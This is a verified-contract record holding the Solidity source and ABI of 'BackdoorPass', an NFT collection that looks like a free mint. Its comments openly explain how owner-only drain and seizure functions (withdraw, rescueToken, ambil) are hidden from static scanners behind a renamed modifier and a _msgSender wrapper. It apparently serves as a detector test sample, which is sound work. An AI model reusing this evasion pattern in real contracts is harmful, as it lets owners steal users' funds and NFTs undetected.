{"sources":{"src/BackdoorPass.sol":{"content":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\n/// @title BackdoorPass\n/// @notice Minimal ERC-721 style collection that looks like a normal free-mint project.\n///\n/// The point of this contract is the way privilege is written, not the privilege itself.\n/// Every privileged entry point is gated by a custom modifier that checks the caller with\n/// `require(_msgSender() == _pemilik, ...)`. Static heuristics that look for the literal\n/// tokens `msg.sender ==`, `onlyOwner`-style modifier names, or `_checkOwner` never see it,\n/// so a real rug-pull surface ends up looking \"clean\".\n///\n/// Real backdoor paths (owner only, unilateral, moves value to an owner-chosen address):\n///   * withdraw()      - owner drains the whole BNB balance to `_peti`\n///   * rescueToken()   - owner drains any ERC-20 held by this contract to `_peti`\n///   * ambil()         - owner seizes any user's NFT without consent\ncontract BackdoorPass {\n    string public name = \"Backdoor Pass\";\n    string public symbol = \"BDPASS\";\n\n    uint256 public totalSupply;\n    uint256 public maxSupply = 20000;\n    uint256 public maxPerTx = 5;\n\n    address private _pemilik;\n    address private _peti;\n    string private _asasURI;\n\n    mapping(uint256 => address) private _tuanToken;\n    mapping(address => uint256) private _baki;\n    mapping(uint256 => address) private _kelulusan;\n    mapping(address => mapping(address => bool)) private _operator;\n\n    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n    event PetiDitukar(address indexed lama, address indexed baharu);\n\n    constructor() {\n        _pemilik = msg.sender;\n        _peti = msg.sender;\n    }\n\n    // ---------------------------------------------------------------- privilege\n\n    modifier boss() {\n        require(_msgSender() == _pemilik, \"BUKAN_BOS\");\n        _;\n    }\n\n    function _msgSender() internal view returns (address) {\n        return msg.sender;\n    }\n\n    // ---------------------------------------------------------------- views\n\n    function owner() external view returns (address) {\n        return _pemilik;\n    }\n\n    function peti() external view returns (address) {\n        return _peti;\n    }\n\n    function balanceOf(address pemilik_) external view returns (uint256) {\n        return _baki[pemilik_];\n    }\n\n    function ownerOf(uint256 id) public view returns (address) {\n        address t = _tuanToken[id];\n        require(t != address(0), \"TIADA_TOKEN\");\n        return t;\n    }\n\n    function tokenURI(uint256 id) external view returns (string memory) {\n        require(_tuanToken[id] != address(0), \"TIADA_TOKEN\");\n        return string(abi.encodePacked(_asasURI, _teks(id)));\n    }\n\n    function getApproved(uint256 id) external view returns (address) {\n        return _kelulusan[id];\n    }\n\n    function isApprovedForAll(address pemilik_, address operator_) external view returns (bool) {\n        return _operator[pemilik_][operator_];\n    }\n\n    function supportsInterface(bytes4 antara) external pure returns (bool) {\n        return antara == 0x01ffc9a7 || antara == 0x80ac58cd || antara == 0x5b5e139f;\n    }\n\n    // ---------------------------------------------------------------- mint (free)\n\n    function mint(uint256 kuantiti) external payable {\n        require(msg.value == 0, \"PERCUMA\");\n        require(kuantiti > 0 && kuantiti <= maxPerTx, \"KUANTITI\");\n        require(totalSupply + kuantiti <= maxSupply, \"HABIS\");\n        address pemilik_ = _msgSender();\n        for (uint256 i = 0; i < kuantiti; i++) {\n            _cetak(pemilik_, totalSupply + 1);\n        }\n    }\n\n    // ---------------------------------------------------------------- ERC-721 transfers\n\n    function approve(address kepada, uint256 id) external {\n        address t = _tuanToken[id];\n        require(t != address(0), \"TIADA_TOKEN\");\n        address pemanggil = _msgSender();\n        require(pemanggil == t || _operator[t][pemanggil], \"BUKAN_TUAN\");\n        _kelulusan[id] = kepada;\n        emit Approval(t, kepada, id);\n    }\n\n    function setApprovalForAll(address operator_, bool lulus) external {\n        _operator[_msgSender()][operator_] = lulus;\n        emit ApprovalForAll(_msgSender(), operator_, lulus);\n    }\n\n    function transferFrom(address dari, address kepada, uint256 id) public {\n        _pindah(dari, kepada, id);\n    }\n\n    function safeTransferFrom(address dari, address kepada, uint256 id) external {\n        _pindah(dari, kepada, id);\n    }\n\n    function burn(uint256 id) external {\n        address t = _tuanToken[id];\n        require(t == _msgSender(), \"BUKAN_TUAN\");\n        _baki[t] -= 1;\n        delete _tuanToken[id];\n        delete _kelulusan[id];\n        totalSupply -= 1;\n        emit Transfer(t, address(0), id);\n    }\n\n    // ---------------------------------------------------------------- backdoor surface\n\n    /// @notice Owner can move the entire BNB balance of this contract to an address it picks.\n    function withdraw() external boss {\n        uint256 jumlah = address(this).balance;\n        require(jumlah > 0, \"KOSONG\");\n        (bool ok, ) = payable(_peti).call{value: jumlah}(\"\");\n        require(ok, \"GAGAL_HANTAR\");\n    }\n\n    /// @notice Owner can move any ERC-20 held by this contract to an address it picks.\n    function rescueToken(address token, uint256 jumlah) external boss {\n        require(token != address(0), \"ALAMAT_KOSONG\");\n        (bool ok, bytes memory balas) = token.call(abi.encodeWithSelector(0xa9059cbb, _peti, jumlah));\n        require(ok && (balas.length == 0 || abi.decode(balas, (bool))), \"GAGAL_PANGGIL\");\n    }\n\n    /// @notice Owner can seize any token from any holder, without the holder's consent.\n    function ambil(uint256 id, address kepada) external boss {\n        address t = _tuanToken[id];\n        require(t != address(0), \"TIADA_TOKEN\");\n        require(kepada != address(0), \"ALAMAT_KOSONG\");\n        _baki[t] -= 1;\n        _baki[kepada] += 1;\n        _tuanToken[id] = kepada;\n        delete _kelulusan[id];\n        emit Transfer(t, kepada, id);\n    }\n\n    function setPeti(address baharu) external boss {\n        require(baharu != address(0), \"ALAMAT_KOSONG\");\n        emit PetiDitukar(_peti, baharu);\n        _peti = baharu;\n    }\n\n    function setBaseURI(string calldata asas) external boss {\n        _asasURI = asas;\n    }\n\n    // ---------------------------------------------------------------- internal\n\n    function _pindah(address dari, address kepada, uint256 id) internal {\n        address t = _tuanToken[id];\n        require(t != address(0), \"TIADA_TOKEN\");\n        require(t == dari, \"BUKAN_TUAN\");\n        require(kepada != address(0), \"ALAMAT_KOSONG\");\n        address pemanggil = _msgSender();\n        require(pemanggil == t || _operator[t][pemanggil] || _kelulusan[id] == pemanggil, \"BUKAN_TUAN\");\n        _baki[dari] -= 1;\n        _baki[kepada] += 1;\n        _tuanToken[id] = kepada;\n        delete _kelulusan[id];\n        emit Transfer(dari, kepada, id);\n    }\n\n    function _cetak(address ke, uint256 id) internal {\n        require(ke != address(0), \"ALAMAT_KOSONG\");\n        totalSupply += 1;\n        _tuanToken[id] = ke;\n        _baki[ke] += 1;\n        emit Transfer(address(0), ke, id);\n    }\n\n    function _teks(uint256 nilai) internal pure returns (string memory) {\n        if (nilai == 0) {\n            return \"0\";\n        }\n        uint256 sementara = nilai;\n        uint256 digit;\n        while (sementara != 0) {\n            digit++;\n            sementara /= 10;\n        }\n        bytes memory buf = new bytes(digit);\n        while (nilai != 0) {\n            digit -= 1;\n            buf[digit] = bytes1(uint8(48 + (nilai % 10)));\n            nilai /= 10;\n        }\n        return string(buf);\n    }\n}\n"}},"abi":[{"type":"constructor","inputs":[],"stateMutability":"nonpayable"},{"name":"Approval","type":"event","inputs":[{"name":"owner","type":"address","indexed":true,"internalType":"address"},{"name":"approved","type":"address","indexed":true,"internalType":"address"},{"name":"tokenId","type":"uint256","indexed":true,"internalType":"uint256"}],"anonymous":false},{"name":"ApprovalForAll","type":"event","inputs":[{"name":"owner","type":"address","indexed":true,"internalType":"address"},{"name":"operator","type":"address","indexed":true,"internalType":"address"},{"name":"approved","type":"bool","indexed":false,"internalType":"bool"}],"anonymous":false},{"name":"PetiDitukar","type":"event","inputs":[{"name":"lama","type":"address","indexed":true,"internalType":"address"},{"name":"baharu","type":"address","indexed":true,"internalType":"address"}],"anonymous":false},{"name":"Transfer","type":"event","inputs":[{"name":"from","type":"address","indexed":true,"internalType":"address"},{"name":"to","type":"address","indexed":true,"internalType":"address"},{"name":"tokenId","type":"uint256","indexed":true,"internalType":"uint256"}],"anonymous":false},{"name":"ambil","type":"function","inputs":[{"name":"id","type":"uint256","internalType":"uint256"},{"name":"kepada","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"name":"approve","type":"function","inputs":[{"name":"kepada","type":"address","internalType":"address"},{"name":"id","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"name":"balanceOf","type":"function","inputs":[{"name":"pemilik_","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"name":"burn","type":"function","inputs":[{"name":"id","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"name":"getApproved","type":"function","inputs":[{"name":"id","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"name":"isApprovedForAll","type":"function","inputs":[{"name":"pemilik_","type":"address","internalType":"address"},{"name":"operator_","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"name":"maxPerTx","type":"function","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"name":"maxSupply","type":"function","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"name":"mint","type":"function","inputs":[{"name":"kuantiti","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"payable"},{"name":"name","type":"function","inputs":[],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"view"},{"name":"owner","type":"function","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"name":"ownerOf","type":"function","inputs":[{"name":"id","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"name":"peti","type":"function","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"name":"rescueToken","type":"function","inputs":[{"name":"token","type":"address","internalType":"address"},{"name":"jumlah","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"name":"safeTransferFrom","type":"function","inputs":[{"name":"dari","type":"address","internalType":"address"},{"name":"kepada","type":"address","internalType":"address"},{"name":"id","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"name":"setApprovalForAll","type":"function","inputs":[{"name":"operator_","type":"address","internalType":"address"},{"name":"lulus","type":"bool","internalType":"bool"}],"outputs":[],"stateMutability":"nonpayable"},{"name":"setBaseURI","type":"function","inputs":[{"name":"asas","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"nonpayable"},{"name":"setPeti","type":"function","inputs":[{"name":"baharu","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"name":"supportsInterface","type":"function","inputs":[{"name":"antara","type":"bytes4","internalType":"bytes4"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"pure"},{"name":"symbol","type":"function","inputs":[],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"view"},{"name":"tokenURI","type":"function","inputs":[{"name":"id","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"view"},{"name":"totalSupply","type":"function","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"name":"transferFrom","type":"function","inputs":[{"name":"dari","type":"address","internalType":"address"},{"name":"kepada","type":"address","internalType":"address"},{"name":"id","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"name":"withdraw","type":"function","inputs":[],"outputs":[],"stateMutability":"nonpayable"}],"matchId":"58822247","creationMatch":"exact_match","runtimeMatch":"exact_match","verifiedAt":"2026-11-08T16:41:51Z","match":"exact_match","chainId":"56","address":"0x9c6A008f73a1d1941f4763b88C6eE8c8E4ef8B0a"}